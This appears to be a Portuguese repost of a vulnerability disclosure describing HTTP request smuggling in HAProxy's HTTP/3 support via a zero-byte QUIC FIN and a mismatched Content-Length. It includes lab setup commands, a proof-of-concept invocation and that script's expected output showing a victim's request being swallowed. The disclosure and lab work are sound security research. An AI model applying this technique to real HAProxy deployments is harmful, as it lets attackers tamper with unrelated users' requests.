
Um pacote QUIC de zero bytes é suficiente para dessincronizar o pool de conexões de backend do HAProxy e contrabandear requisições HTTP entre usuários não relacionados — até mesmo usuários em um protocolo de frontend completamente diferente.
Post completo aqui : https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
Uma vulnerabilidade na implementação HTTP/3 do HAProxy permite que um atacante envie uma requisição HTTP com um cabeçalho Content-Length que não corresponde ao tamanho real do corpo. O HAProxy encaminha essa requisição malformada para o backend via HTTP/1.1 com o Content-Length declarado, mas zero bytes de corpo. Quando o backend envia uma resposta antecipada (ex.: redirecionamento 301) e drena o corpo pendente da conexão TCP, ele consome bytes pertencentes à próxima requisição HTTP naquela conexão — que pode ser originada de um usuário diferente.
Isso resulta em contrabando de requisições HTTP entre usuários via o pool de conexões do backend do HAProxy.
Afetado: HAProxy com suporte a QUIC/H3 (USE_QUIC=1). Testado no HAProxy 3.0.18.
Configuração necessária: http-reuse always (não padrão, mas comum em produção)
Docker Compose com 3 serviços:
http-reuse always)autoindex on no diretório /photos, /status retorna 200# 1. Inicie o laboratório (a compilação do HAProxy leva ~10 min na primeira vez)
cd poc/
docker compose up -d --build
# 2. Execute o PoC em modo contínuo
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. Em um navegador, acesse https://<host>:10002/status
# (aceite o certificado autoassinado, use --ignore-certificate-errors no Chrome)
# Atualize repetidamente. ~50% das respostas serão 400 Bad Request.
# 4. Pare o PoC (Ctrl+C). Todas as respostas do navegador voltam ao normal (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Saída esperada:
[1] Enviando requisição de envenenamento (H3/QUIC)...
-> 301 recebido. Conexão do backend no pool com dreno de corpo pendente.
[2] Aguardando 0.5s para o HAProxy colocar a conexão no pool...
[3] Enviando requisição GET /status da vítima a partir de conexão QUIC SEPARADA...
-> Resposta: HTTP 400
[!] CONTRABANDO CONFIRMADO
[!] Vítima em conexão separada recebeu 400 em vez de 200
[!] Backend interpretou a requisição da vítima como corpo do POST de envenenamento